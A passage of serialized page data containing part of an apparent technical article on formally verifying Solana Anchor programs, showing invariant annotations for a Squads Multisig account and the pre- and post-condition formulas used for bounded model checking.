assets",{"type":23,"tag":141,"props":19547,"children":19548},{"style":160},[19549],{"type":29,"value":114},{"type":23,"tag":141,"props":19551,"children":19552},{"style":725},[19553],{"type":29,"value":4534},{"type":23,"tag":141,"props":19555,"children":19556},{"style":154},[19557],{"type":29,"value":2168},{"type":23,"tag":141,"props":19559,"children":19560},{"class":143,"line":271},[19561,19565,19570,19574,19578],{"type":23,"tag":141,"props":19562,"children":19563},{"style":449},[19564],{"type":29,"value":19515},{"type":23,"tag":141,"props":19566,"children":19567},{"style":750},[19568],{"type":29,"value":19569}," liabilities",{"type":23,"tag":141,"props":19571,"children":19572},{"style":160},[19573],{"type":29,"value":114},{"type":23,"tag":141,"props":19575,"children":19576},{"style":725},[19577],{"type":29,"value":4534},{"type":23,"tag":141,"props":19579,"children":19580},{"style":154},[19581],{"type":29,"value":2168},{"type":23,"tag":141,"props":19583,"children":19584},{"class":143,"line":293},[19585],{"type":23,"tag":141,"props":19586,"children":19587},{"style":154},[19588],{"type":29,"value":2573},{"type":23,"tag":32,"props":19590,"children":19591},{},[19592,19594,19599],{"type":29,"value":19593},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":23,"tag":38,"props":19595,"children":19597},{"className":19596},[],[19598],{"type":29,"value":19425},{"type":29,"value":19600}," is created or modified.",{"type":23,"tag":32,"props":19602,"children":19603},{},[19604,19606,19612],{"type":29,"value":19605},"In another example, we developed the following invariant for the ",{"type":23,"tag":55,"props":19607,"children":19609},{"href":17494,"rel":19608},[59],[19610],{"type":29,"value":19611},"Squads Multisig",{"type":29,"value":19613}," wallet account:",{"type":23,"tag":131,"props":19615,"children":19617},{"code":19616,"language":1638,"meta":7,"className":1639,"style":7},"#[account]\n#[invariant(\n !self.keys.is_empty()\n && (self.keys.len() \u003C= u16::MAX as usize)\n && (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[19618],{"type":23,"tag":38,"props":19619,"children":19620},{"__ignoreMap":7},[19621,19628,19635,19665,19724,19753,19805,19812,19833,19863,19893,19923,19952,19982,20012,20041,20081],{"type":23,"tag":141,"props":19622,"children":19623},{"class":143,"line":144},[19624],{"type":23,"tag":141,"props":19625,"children":19626},{"style":154},[19627],{"type":29,"value":19442},{"type":23,"tag":141,"props":19629,"children":19630},{"class":143,"line":180},[19631],{"type":23,"tag":141,"props":19632,"children":19633},{"style":154},[19634],{"type":29,"value":19450},{"type":23,"tag":141,"props":19636,"children":19637},{"class":143,"line":205},[19638,19643,19647,19651,19656,19660],{"type":23,"tag":141,"props":19639,"children":19640},{"style":160},[19641],{"type":29,"value":19642}," !",{"type":23,"tag":141,"props":19644,"children":19645},{"style":154},[19646],{"type":29,"value":12391},{"type":23,"tag":141,"props":19648,"children":19649},{"style":160},[19650],{"type":29,"value":322},{"type":23,"tag":141,"props":19652,"children":19653},{"style":154},[19654],{"type":29,"value":19655},"keys",{"type":23,"tag":141,"props":19657,"children":19658},{"style":160},[19659],{"type":29,"value":322},{"type":23,"tag":141,"props":19661,"children":19662},{"style":154},[19663],{"type":29,"value":19664},"is_empty()\n",{"type":23,"tag":141,"props":19666,"children":19667},{"class":143,"line":218},[19668,19672,19677,19681,19685,19689,19694,19698,19703,19707,19712,19716,19720],{"type":23,"tag":141,"props":19669,"children":19670},{"style":160},[19671],{"type":29,"value":14297},{"type":23,"tag":141,"props":19673,"children":19674},{"style":154},[19675],{"type":29,"value":19676}," (self",{"type":23,"tag":141,"props":19678,"children":19679},{"style":160},[19680],{"type":29,"value":322},{"type":23,"tag":141,"props":19682,"children":19683},{"style":154},[19684],{"type":29,"value":19655},{"type":23,"tag":141,"props":19686,"children":19687},{"style":160},[19688],{"type":29,"value":322},{"type":23,"tag":141,"props":19690,"children":19691},{"style":154},[19692],{"type":29,"value":19693},"len() ",{"type":23,"tag":141,"props":19695,"children":19696},{"style":160},[19697],{"type":29,"value":18086},{"type":23,"tag":141,"props":19699,"children":19700},{"style":725},[19701],{"type":29,"value":19702}," u16",{"type":23,"tag":141,"props":19704,"children":19705},{"style":160},[19706],{"type":29,"value":2141},{"type":23,"tag":141,"props":19708,"children":19709},{"style":725},[19710],{"type":29,"value":19711},"MAX",{"type":23,"tag":141,"props":19713,"children":19714},{"style":449},[19715],{"type":29,"value":7504},{"type":23,"tag":141,"props":19717,"children":19718},{"style":725},[19719],{"type":29,"value":12409},{"type":23,"tag":141,"props":19721,"children":19722},{"style":154},[19723],{"type":29,"value":758},{"type":23,"tag":141,"props":19725,"children":19726},{"class":143,"line":227},[19727,19731,19735,19739,19744,19748],{"type":23,"tag":141,"props":19728,"children":19729},{"style":160},[19730],{"type":29,"value":14297},{"type":23,"tag":141,"props":19732,"children":19733},{"style":154},[19734],{"type":29,"value":19676},{"type":23,"tag":141,"props":19736,"children":19737},{"style":160},[19738],{"type":29,"value":322},{"type":23,"tag":141,"props":19740,"children":19741},{"style":154},[19742],{"type":29,"value":19743},"threshold ",{"type":23,"tag":141,"props":19745,"children":19746},{"style":160},[19747],{"type":29,"value":8623},{"type":23,"tag":141,"props":19749,"children":19750},{"style":154},[19751],{"type":29,"value":19752}," 1)\n",{"type":23,"tag":141,"props":19754,"children":19755},{"class":143,"line":241},[19756,19760,19764,19768,19772,19776,19780,19784,19788,19792,19796,19800],{"type":23,"tag":141,"props":19757,"children":19758},{"style":160},[19759],{"type":29,"value":14297},{"type":23,"tag":141,"props":19761,"children":19762},{"style":154},[19763],{"type":29,"value":19676},{"type":23,"tag":141,"props":19765,"children":19766},{"style":160},[19767],{"type":29,"value":322},{"type":23,"tag":141,"props":19769,"children":19770},{"style":154},[19771],{"type":29,"value":19743},{"type":23,"tag":141,"props":19773,"children":19774},{"style":449},[19775],{"type":29,"value":7518},{"type":23,"tag":141,"props":19777,"children":19778},{"style":725},[19779],{"type":29,"value":12409},{"type":23,"tag":141,"props":19781,"children":19782},{"style":160},[19783],{"type":29,"value":6872},{"type":23,"tag":141,"props":19785,"children":19786},{"style":154},[19787],{"type":29,"value":12475},{"type":23,"tag":141,"props":19789,"children":19790},{"style":160},[19791],{"type":29,"value":322},{"type":23,"tag":141,"props":19793,"children":19794},{"style":154},[19795],{"type":29,"value":19655},{"type":23,"tag":141,"props":19797,"children":19798},{"style":160},[19799],{"type":29,"value":322},{"type":23,"tag":141,"props":19801,"children":19802},{"style":154},[19803],{"type":29,"value":19804},"len())\n",{"type":23,"tag":141,"props":19806,"children":19807},{"class":143,"line":262},[19808],{"type":23,"tag":141,"props":19809,"children":19810},{"style":154},[19811],{"type":29,"value":18930},{"type":23,"tag":141,"props":19813,"children":19814},{"class":143,"line":271},[19815,19819,19824,19829],{"type":23,"tag":141,"props":19816,"children":19817},{"style":449},[19818],{"type":29,"value":12368},{"type":23,"tag":141,"props":19820,"children":19821},{"style":449},[19822],{"type":29,"value":19823}," struct",{"type":23,"tag":141,"props":19825,"children":19826},{"style":725},[19827],{"type":29,"value":19828}," Ms",{"type":23,"tag":141,"props":19830,"children":19831},{"style":154},[19832],{"type":29,"value":1951},{"type":23,"tag":141,"props":19834,"children":19835},{"class":143,"line":293},[19836,19840,19845,19849,19853,19858],{"type":23,"tag":141,"props":19837,"children":19838},{"style":449},[19839],{"type":29,"value":19515},{"type":23,"tag":141,"props":19841,"children":19842},{"style":750},[19843],{"type":29,"value":19844}," threshold",{"type":23,"tag":141,"props":19846,"children":19847},{"style":160},[19848],{"type":29,"value":114},{"type":23,"tag":141,"props":19850,"children":19851},{"style":725},[19852],{"type":29,"value":19702},{"type":23,"tag":141,"props":19854,"children":19855},{"style":154},[19856],{"type":29,"value":19857},", ",{"type":23,"tag":141,"props":19859,"children":19860},{"style":443},[19861],{"type":29,"value":19862},"// threshold for signatures\n",{"type":23,"tag":141,"props":19864,"children":19865},{"class":143,"line":801},[19866,19870,19875,19879,19883,19888],{"type":23,"tag":141,"props":19867,"children":19868},{"style":449},[19869],{"type":29,"value":19515},{"type":23,"tag":141,"props":19871,"children":19872},{"style":750},[19873],{"type":29,"value":19874}," authority_index",{"type":23,"tag":141,"props":19876,"children":19877},{"style":160},[19878],{"type":29,"value":114},{"type":23,"tag":141,"props":19880,"children":19881},{"style":725},[19882],{"type":29,"value":19702},{"type":23,"tag":141,"props":19884,"children":19885},{"style":154},[19886],{"type":29,"value":19887},", ",{"type":23,"tag":141,"props":19889,"children":19890},{"style":443},[19891],{"type":29,"value":19892},"// index to seed other authorities under this multisig\n",{"type":23,"tag":141,"props":19894,"children":19895},{"class":143,"line":810},[19896,19900,19905,19909,19913,19918],{"type":23,"tag":141,"props":19897,"children":19898},{"style":449},[19899],{"type":29,"value":19515},{"type":23,"tag":141,"props":19901,"children":19902},{"style":750},[19903],{"type":29,"value":19904}," transaction_index",{"type":23,"tag":141,"props":19906,"children":19907},{"style":160},[19908],{"type":29,"value":114},{"type":23,"tag":141,"props":19910,"children":19911},{"style":725},[19912],{"type":29,"value":16226},{"type":23,"tag":141,"props":19914,"children":19915},{"style":154},[19916],{"type":29,"value":19917},", ",{"type":23,"tag":141,"props":19919,"children":19920},{"style":443},[19921],{"type":29,"value":19922},"// look up and seed reference for transactions\n",{"type":23,"tag":141,"props":19924,"children":19925},{"class":143,"line":824},[19926,19930,19935,19939,19943,19947],{"type":23,"tag":141,"props":19927,"children":19928},{"style":449},[19929],{"type":29,"value":19515},{"type":23,"tag":141,"props":19931,"children":19932},{"style":750},[19933],{"type":29,"value":19934}," ms_change_index",{"type":23,"tag":141,"props":19936,"children":19937},{"style":160},[19938],{"type":29,"value":114},{"type":23,"tag":141,"props":19940,"children":19941},{"style":725},[19942],{"type":29,"value":16226},{"type":23,"tag":141,"props":19944,"children":19945},{"style":154},[19946],{"type":29,"value":19887},{"type":23,"tag":141,"props":19948,"children":19949},{"style":443},[19950],{"type":29,"value":19951},"// the last executed/closed transaction\n",{"type":23,"tag":141,"props":19953,"children":19954},{"class":143,"line":839},[19955,19959,19964,19968,19972,19977],{"type":23,"tag":141,"props":19956,"children":19957},{"style":449},[19958],{"type":29,"value":19515},{"type":23,"tag":141,"props":19960,"children":19961},{"style":750},[19962],{"type":29,"value":19963}," bump",{"type":23,"tag":141,"props":19965,"children":19966},{"style":160},[19967],{"type":29,"value":114},{"type":23,"tag":141,"props":19969,"children":19970},{"style":725},[19971],{"type":29,"value":13310},{"type":23,"tag":141,"props":19973,"children":19974},{"style":154},[19975],{"type":29,"value":19976},", ",{"type":23,"tag":141,"props":19978,"children":19979},{"style":443},[19980],{"type":29,"value":19981},"// bump for the multisig seed\n",{"type":23,"tag":141,"props":19983,"children":19984},{"class":143,"line":848},[19985,19989,19994,19998,20002,20007],{"type":23,"tag":141,"props":19986,"children":19987},{"style":449},[19988],{"type":29,"value":19515},{"type":23,"tag":141,"props":19990,"children":19991},{"style":750},[19992],{"type":29,"value":19993}," create_key",{"type":23,"tag":141,"props":19995,"children":19996},{"style":160},[19997],{"type":29,"value":114},{"type":23,"tag":141,"props":19999,"children":20000},{"style":725},[20001],{"type":29,"value":19529},{"type":23,"tag":141,"props":20003,"children":20004},{"style":154},[20005],{"type":29,"value":20006},", ",{"type":23,"tag":141,"props":20008,"children":20009},{"style":443},[20010],{"type":29,"value":20011},"// random key(or not) used to seed the multisig pda\n",{"type":23,"tag":141,"props":20013,"children":20014},{"class":143,"line":2304},[20015,20019,20024,20028,20032,20036],{"type":23,"tag":141,"props":20016,"children":20017},{"style":449},[20018],{"type":29,"value":19515},{"type":23,"tag":141,"props":20020,"children":20021},{"style":750},[20022],{"type":29,"value":20023}," allow_external_execute",{"type":23,"tag":141,"props":20025,"children":20026},{"style":160},[20027],{"type":29,"value":114},{"type":23,"tag":141,"props":20029,"children":20030},{"style":725},[20031],{"type":29,"value":10730},{"type":23,"tag":141,"props":20033,"children":20034},{"style":154},[20035],{"type":29,"value":480},{"type":23,"tag":141,"props":20037,"children":20038},{"style":443},[20039],{"type":29,"value":20040},"// allow non-member keys to execute txs\n",{"type":23,"tag":141,"props":20042,"children":20043},{"class":143,"line":2313},[20044,20048,20053,20057,20062,20066,20071,20076],{"type":23,"tag":141,"props":20045,"children":20046},{"style":449},[20047],{"type":29,"value":19515},{"type":23,"tag":141,"props":20049,"children":20050},{"style":750},[20051],{"type":29,"value":20052}," keys",{"type":23,"tag":141,"props":20054,"children":20055},{"style":160},[20056],{"type":29,"value":114},{"type":23,"tag":141,"props":20058,"children":20059},{"style":725},[20060],{"type":29,"value":20061}," Vec",{"type":23,"tag":141,"props":20063,"children":20064},{"style":154},[20065],{"type":29,"value":4480},{"type":23,"tag":141,"props":20067,"children":20068},{"style":725},[20069],{"type":29,"value":20070},"Pubkey",{"type":23,"tag":141,"props":20072,"children":20073},{"style":154},[20074],{"type":29,"value":20075},">, ",{"type":23,"tag":141,"props":20077,"children":20078},{"style":443},[20079],{"type":29,"value":20080},"// keys of the members\n",{"type":23,"tag":141,"props":20082,"children":20083},{"class":143,"line":2335},[20084],{"type":23,"tag":141,"props":20085,"children":20086},{"style":154},[20087],{"type":29,"value":2573},{"type":23,"tag":32,"props":20089,"children":20090},{},[20091],{"type":29,"value":20092},"Here we are verifying multiple things at once:",{"type":23,"tag":15362,"props":20094,"children":20095},{},[20096,20107,20118,20129],{"type":23,"tag":120,"props":20097,"children":20098},{},[20099,20105],{"type":23,"tag":38,"props":20100,"children":20102},{"className":20101},[],[20103],{"type":29,"value":20104},"!self.keys.is_empty()",{"type":29,"value":20106}," : ensure there is at least one member",{"type":23,"tag":120,"props":20108,"children":20109},{},[20110,20116],{"type":23,"tag":38,"props":20111,"children":20113},{"className":20112},[],[20114],{"type":29,"value":20115},"self.keys.len() \u003C= u16::MAX as usize",{"type":29,"value":20117}," : set an upper limit of 65535 members",{"type":23,"tag":120,"props":20119,"children":20120},{},[20121,20127],{"type":23,"tag":38,"props":20122,"children":20124},{"className":20123},[],[20125],{"type":29,"value":20126},"self.threshold >= 1",{"type":29,"value":20128}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":23,"tag":120,"props":20130,"children":20131},{},[20132,20138],{"type":23,"tag":38,"props":20133,"children":20135},{"className":20134},[],[20136],{"type":29,"value":20137},"self.threshold as usize \u003C= self.keys.len()",{"type":29,"value":20139}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":23,"tag":24,"props":20141,"children":20143},{"id":20142},"verification-how-do-we-check-that-our-model-is-correct",[20144],{"type":29,"value":20145},"Verification: How do we check that our model is correct?",{"type":23,"tag":32,"props":20147,"children":20148},{},[20149,20151,20155,20157,20162],{"type":29,"value":20150},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":23,"tag":47,"props":20152,"children":20153},{},[20154],{"type":29,"value":18640},{"type":29,"value":20156}," on which we can run bounded model checking. Our tool does this ",{"type":23,"tag":47,"props":20158,"children":20159},{},[20160],{"type":29,"value":20161},"automagically",{"type":29,"value":20163}," for anchor-lang programs.",{"type":23,"tag":32,"props":20165,"children":20166},{},[20167,20169,20175,20177,20182,20184,20189,20190,20195,20197,20202,20204,20209,20210,20216,20218,20224,20225,20231],{"type":29,"value":20168},"Specifically, for a given ",{"type":23,"tag":38,"props":20170,"children":20172},{"className":20171},[],[20173],{"type":29,"value":20174},"Context\u003CT>",{"type":29,"value":20176}," with ",{"type":23,"tag":47,"props":20178,"children":20179},{},[20180],{"type":29,"value":20181},"incoming",{"type":29,"value":20183}," accounts of types (",{"type":23,"tag":38,"props":20185,"children":20187},{"className":20186},[],[20188],{"type":29,"value":19412},{"type":29,"value":3255},{"type":23,"tag":38,"props":20191,"children":20193},{"className":20192},[],[20194],{"type":29,"value":2389},{"type":29,"value":20196},") and ",{"type":23,"tag":47,"props":20198,"children":20199},{},[20200],{"type":29,"value":20201},"outgoing",{"type":29,"value":20203}," accounts of type (",{"type":23,"tag":38,"props":20205,"children":20207},{"className":20206},[],[20208],{"type":29,"value":2389},{"type":29,"value":3255},{"type":23,"tag":38,"props":20211,"children":20213},{"className":20212},[],[20214],{"type":29,"value":20215},"close",{"type":29,"value":20217},") we define a ",{"type":23,"tag":38,"props":20219,"children":20221},{"className":20220},[],[20222],{"type":29,"value":20223},"pre_condition",{"type":29,"value":313},{"type":23,"tag":38,"props":20226,"children":20228},{"className":20227},[],[20229],{"type":29,"value":20230},"post_condition",{"type":29,"value":20232}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":23,"tag":32,"props":20234,"children":20235},{},[20236],{"type":23,"tag":38,"props":20237,"children":20239},{"className":20238},[2658,2659],[20240],{"type":23,"tag":141,"props":20241,"children":20243},{"className":20242},[2664],[20244],{"type":23,"tag":141,"props":20245,"children":20247},{"className":20246,"ariaHidden":2670},[2669],[20248,20284],{"type":23,"tag":141,"props":20249,"children":20251},{"className":20250},[2675],[20252,20257,20265,20270,20274,20280],{"type":23,"tag":141,"props":20253,"children":20256},{"className":20254,"style":20255},[2680],"height:0.6833em;",[],{"type":23,"tag":141,"props":20258,"children":20262},{"className":20259,"style":20261},[2686,20260],"mathnormal","margin-right:0.13889em;",[20263],{"type":29,"value":20264},"P",{"type":23,"tag":141,"props":20266,"children":20268},{"className":20267},[2686],[20269],{"type":29,"value":2698},{"type":23,"tag":141,"props":20271,"children":20273},{"className":20272,"style":2863},[2766],[],{"type":23,"tag":141,"props":20275,"children":20277},{"className":20276},[2868],[20278],{"type":29,"value":20279},":=",{"type":23,"tag":141,"props":20281,"children":20283},{"className":20282,"style":2863},[2766],[],{"type":23,"tag":141,"props":20285,"children":20287},{"className":20286},[2675],[20288,20293,20433,20437],{"type":23,"tag":141,"props":20289,"children":20292},{"className":20290,"style":20291},[2680],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":23,"tag":141,"props":20294,"children":20297},{"className":20295},[20296],"mop",[20298,20307],{"type":23,"tag":141,"props":20299,"children":20304},{"className":20300,"style":20303},[20296,20301,20302],"op-symbol","small-op","position:relative;top:0em;",[20305],{"type":29,"value":20306},"⋀",{"type":23,"tag":141,"props":20308,"children":20310},{"className":20309},[2702],[20311],{"type":23,"tag":141,"props":20312,"children":20315},{"className":20313},[2707,20314],"vlist-t2",[20316,20421],{"type":23,"tag":141,"props":20317,"children":20319},{"className":20318},[2712],[20320,20414],{"type":23,"tag":141,"props":20321,"children":20324},{"className":20322,"style":20323},[2717],"height:0.2253em;",[20325],{"type":23,"tag":141,"props":20326,"children":20328},{"style":20327},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[20329,20333],{"type":23,"tag":141,"props":20330,"children":20332},{"className":20331,"style":2727},[2726],[],{"type":23,"tag":141,"props":20334,"children":20336},{"className":20335},[2732,2733,2734,2735],[20337],{"type":23,"tag":141,"props":20338,"children":20340},{"className":20339},[2686,2735],[20341,20346,20352,20362,20368,20377,20386,20392,20397,20403,20408],{"type":23,"tag":141,"props":20342,"children":20344},{"className":20343},[2686,20260,2735],[20345],{"type":29,"value":55},{"type":23,"tag":141,"props":20347,"children":20349},{"className":20348},[2686,20260,2735],[20350],{"type":29,"value":20351},"cc",{"type":23,"tag":141,"props":20353,"children":20355},{"className":20354},[2766,2735],[20356],{"type":23,"tag":141,"props":20357,"children":20359},{"className":20358},[2735],[20360],{"type":29,"value":20361}," ",{"type":23,"tag":141,"props":20363,"children":20365},{"className":20364},[2868,2735],[20366],{"type":29,"value":20367},"∈",{"type":23,"tag":141,"props":20369,"children":20371},{"className":20370},[2766,2735],[20372],{"type":23,"tag":141,"props":20373,"children":20375},{"className":20374},[2735],[20376],{"type":29,"value":20361},{"type":23,"tag":141,"props":20378,"children":20380},{"className":20379},[2686,29,2735],[20381],{"type":23,"tag":141,"props":20382,"children":20384},{"className":20383},[2686,2735],[20385],{"type":29,"value":20181},{"type":23,"tag":141,"props":20387,"children":20390},{"className":20388},[20389,2735],"mopen",[20391],{"type":29,"value":192},{"type":23,"tag":141,"props":20393,"children":20395},{"className":20394},[2686,20260,2735],[20396],{"type":29,"value":1807},{"type":23,"tag":141,"props":20398,"children":20400},{"className":20399},[2686,20260,2735],[20401],{"type":29,"value":20402},"t",{"type":23,"tag":141,"props":20404,"children":20406},{"className":20405},[2686,20260,2735],[20407],{"type":29,"value":17947},{"type":23,"tag":141,"props":20409,"children":20412},{"className":20410},[20411,2735],"mclose",[20413],{"type":29,"value":1788},{"type":23,"tag":141,"props":20415,"children":20418},{"className":20416},[20417],"vlist-s",[20419],{"type":29,"value":20420},"​",{"type":23,"tag":141,"props":20422,"children":20424},{"className":20423},[2712],[20425],{"type":23,"tag":141,"props":20426,"children":20429},{"className":20427,"style":20428},[2717],"height:0.4747em;",[20430],{"type":23,"tag":141,"props":20431,"children":20432},{},[],{"type":23,"tag":141,"props":20434,"children":20436},{"className":20435,"style":2804},[2766],[],{"type":23,"tag":141,"props":20438,"children":20440},{"className":20439},[2686],[20441,20451,20456,20461,20466],{"type":23,"tag":141,"props":20442,"children":20444},{"className":20443},[2686,29],[20445],{"type":23,"tag":141,"props":20446,"children":20448},{"className":20447},[2686],[20449],{"type":29,"value":20450},"invariant",{"type":23,"tag":141,"props":20452,"children":20454},{"className":20453},[20389],[20455],{"type":29,"value":192},{"type":23,"tag":141,"props":20457,"children":20459},{"className":20458},[2686,20260],[20460],{"type":29,"value":55},{"type":23,"tag":141,"props":20462,"children":20464},{"className":20463},[2686,20260],[20465],{"type":29,"value":20351},{"type":23,"tag":141,"props":20467,"children":20469},{"className":20468},[20411],[20470],{"type":29,"value":1788},{"type":23,"tag":32,"props":20472,"children":20473},{},[20474],{"type":23,"tag":38,"props":20475,"children":20477},{"className":20476},[2658,2659],[20478],{"type":23,"tag":141,"props":20479,"children":20481},{"className":20480},[2664],[20482],{"type":23,"tag":141,"props":20483,"children":20485},{"className":20484,"ariaHidden":2670},[2669],[20486,20517],{"type":23,"tag":141,"props":20487,"children":20489},{"className":20488},[2675],[20490,20494,20499,20504,20508,20513],{"type":23,"tag":141,"props":20491,"children":20493},{"className":20492,"style":20255},[2680],[],{"type":23,"tag":141,"props":20495,"children":20497},{"className":20496,"style":20261},[2686,20260],[20498],{"type":29,"value":20264},{"type":23,"tag":141,"props":20500,"children":20502},{"className":20501},[2686],[20503],{"type":29,"value":687},{"type":23,"tag":141,"props":20505,"children":20507},{"className":20506,"style":2863},[2766],[],{"type":23,"tag":141,"props":20509,"children":20511},{"className":20510},[2868],[20512],{"type":29,"value":20279},{"type":23,"tag":141,"props":20514,"children":20516},{"className":20515,"style":2863},[2766],[],{"type":23,"tag":141,"props":20518,"children":20520},{"className":20519},[2675],[20521,20525,20648,20652],{"type":23,"tag":141,"props":20522,"children":20524},{"className":20523,"style":20291},[2680],[],{"type":23,"tag":141,"props":20526,"children":20528},{"className":20527},[20296],[20529,20534],{"type":23,"tag":141,"props":20530,"children":20532},{"className":20531,"style":20303},[20296,20301,20302],[20533],{"type":29,"value":20306},{"type":23,"tag":141,"props":20535,"children":20537},{"className":20536},[2702],[20538],{"type":23,"tag":141,"props":20539,"children":20541},{"className":20540},[2707,20314],[20542,20637],{"type":23,"tag":141,"props":20543,"children":20545},{"className":20544},[2712],[20546,20632],{"type":23,"tag":141,"props":20547,"children":20549},{"className":20548,"style":20323},[2717],[20550],{"type":23,"tag":141,"props":20551,"children":20552},{"style":20327},[20553,20557],{"type":23,"tag":141,"props":20554,"children":20556},{"className":20555,"style":2727},[2726],[],{"type":23,"tag":141,"props":20558,"children":20560},{"className":20559},[2732,2733,2734,2735],[20561],{"type":23,"tag":141,"props":20562,"children":20564},{"className":20563},[2686,2735],[20565,20570,20575,20584,20589,20598,20607,20612,20617,20622,20627],{"type":23,"tag":141,"props":20566,"children":20568},{"className":20567},[2686,20260,2735],[20569],{"type":29,"value":55},{"type":23,"tag":141,"props":20571,"children":20573},{"className":20572},[2686,20260,2735],[20574],{"type":29,"value":20351},{"type":23,"tag":141,"props":20576,"children":20578},{"className":20577},[2766,2735],[20579],{"type":23,"tag":141,"props":20580,"children":20582},{"className":20581},[2735],[20583],{"type":29,"value":20361},{"type":23,"tag":141,"props":20585,"children":20587},{"className":20586},[2868,2735],[20588],{"type":29,"value":20367},{"type":23,"tag":141,"props":20590,"children":20592},{"className":20591},[2766,2735],[20593],{"type":23,"tag":141,"props":20594,"children":20596},{"className":20595},[2735],[20597],{"type":29,"value":20361},{"type":23,"tag":141,"props":20599,"children":20601},{"className":20600},[2686,29,2735],[20602],{"type":23,"tag":141,"props":20603,"children":20605},{"className":20604},[2686,2735],[20606],{"type":29,"value":20201},{"type":23,"tag":141,"props":20608,"children":20610},{"className":20609},[20389,2735],[20611],{"type":29,"value":192},{"type":23,"tag":141,"props":20613,"children":20615},{"className":20614},[2686,20260,2735],[20616],{"type":29,"value":1807},{"type":23,"tag":141,"props":20618,"children":20620},{"className":20619},[2686,20260,2735],[20621],{"type":29,"value":20402},{"type":23,"tag":141,"props":20623,"children":20625},{"className":20624},[2686,20260,2735],[20626],{"type":29,"value":17947},{"type":23,"tag":141,"props":20628,"children":20630},{"className":20629},[20411,2735],[20631],{"type":29,"value":1788},{"type":23,"tag":141,"props":20633,"children":20635},{"className":20634},[20417],[20636],{"type":29,"value":20420},{"type":23,"tag":141,"props":20638,"children":20640},{"className":20639},[2712],[20641],{"type":23,"tag":141,"props":20642,"children":20644},{"className":20643,"style":20428},[2717],[20645],{"type":23,"tag":141,"props":20646,"children":20647},{},[],{"type":23,"tag":141,"props":20649,"children":20651},{"className":20650,"style":2804},[2766],[],{"type":23,"tag":141,"props":20653,"children":20655},{"className":20654},[2686],[20656,20665,20670,20675,20680],{"type":23,"tag":141,"props":20657,"children":20659},{"className":20658},[2686,29],[20660],{"type":23,"tag":141,"props":20661,"children":20663},{"className":20662},[2686],[20664],{"type":29,"value":20450},{"type":23,"tag":141,"props":20666,"children":20668},{"className":20667},[20389],[20669],{"type":29,"value":192},{"type":23,"tag":141,"props":20671,"children":20673},{"className":20672},[2686,20260],[20674],{"type":29,"value":55},{"type":23,"tag":141,"props":20676,"children":20678},{"className":20677},[2686,20260],[20679],{"type":29,"value":20351},{"type":23,"tag":141,"props":20681,"children":20683},{"className":20682},[20411],[20684],{"type":29,"value":1788},{"type":23,"tag":32,"props":20686,"children":20687},{},[20688],{"type":29,"value":20689},"Our instruction invariants are represented as:",{"type":23,"tag":15362,"props":20691,"children":20692},{},[20693,20729],{"type":23,"tag":120,"props":20694,"children":20695},{},[20696,20723,20724],{"type":23,"tag":38,"props":20697,"children":20699},{"className":20698},[2658,2659],[20700],{"type":23,"tag":141,"props":20701,"children":20703},{"className":20702},[2664],[20704],{"type":23,"tag":141,"props":20705,"children":20707},{"className":20706,"ariaHidden":2670},[2669],[20708],{"type":23,"tag":141,"props":20709,"children":20711},{"className":20710},[2675],[20712,20716],{"type":23,"tag":141,"props":20713,"children":20715},{"className":20714,"style":20255},[2680],[],{"type":23,"tag":141,"props":20717,"children":20720},{"className":20718,"style":20719},[2686,20260],"margin-right:0.05764em;",[20721],{"type":29,"value":20722},"S",{"type":29,"value":14008},{"type":23,"tag":38,"props":20725,"children":20727},{"className":20726},[],[20728],{"type":29,"value":18826},{"type":23,"tag":120,"props":20730,"children":20731},{},[20732,20758,20759],{"type":23,"tag":38,"props":20733,"children":20735},{"className":20734},[2658,2659],[20736],{"type":23,"tag":141,"props":20737,"children":20739},{"className":20738},[2664],[20740],{"type":23,"tag":141,"props":20741,"children":20743},{"className":20742,"ariaHidden":2670},[2669],[20744],{"type":23,"tag":141,"props":20745,"children":20747},{"className":20746},[2675],[20748,20752],{"type":23,"tag":141,"props":20749,"children":20751},{"className":20750,"style":20255},[2680],[],{"type":23,"tag":141,"props":20753,"children":20755},{"className":20754,"style":20719},[2686,20260],[20756],{"type":29,"value":20757},"E",{"type":29,"value":14008},{"type":23,"tag":38,"props":20760,"children":20762},{"className":20761},[],[20763],{"type":29,"value":18833},{"type":23,"tag":32,"props":20765,"children":20766},{},[20767,20769,20796,20798,20803,20805,20811],{"type":29,"value":20768},"And ",{"type":23,"tag":38,"props":20770,"children":20772},{"className":20771},[2658,2659],[20773],{"type":23,"tag":141,"props":20774,"children":20776},{"className":20775},[2664],[20777],{"type":23,"tag":141,"props":20778,"children":20780},{"className":20779,"ariaHidden":2670},[2669],[20781],{"type":23,"tag":141,"props":20782,"children":20784},{"className":20783},[2675],[20785,20789],{"type":23,"tag":141,"props":20786,"children":20788},{"className":20787,"style":20255},[2680],[],{"type":23,"tag":141,"props":20790,"children":20793},{"className":20791,"style":20792},[2686,20260],"margin-right:0.07153em;",[20794],{"type":29,"value":20795},"K",{"type":29,"value":20797}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":23,"tag":38,"props":20799,"children":20801},{"className":20800},[],[20802],{"type":29,"value":19161},{"type":29,"value":20804}," not an ",{"type":23,"tag":38,"props":20806,"children":20808},{"className":20807},[],[20809],{"type":29,"value":20810},"Err",{"type":29,"value":19414},{"type":23,"tag":32,"props":20813,"children":20814},{},[20815],{"type":29,"value":20816},"In order to verify these conditions we need to verify three cases:",{"type":23,"tag":8287,"props":20818,"children":20820},{"id":20819},"account-invariants-1",[20821],{"type":29,"value":20822},"Account invariants",{"type":23,"tag":32,"props":20824,"children":20825},{},[20826,20828,20859,20861,20891,20893,20923],{"type":29,"value":20827},"After we execute an instruction, either the function should error and be reverted 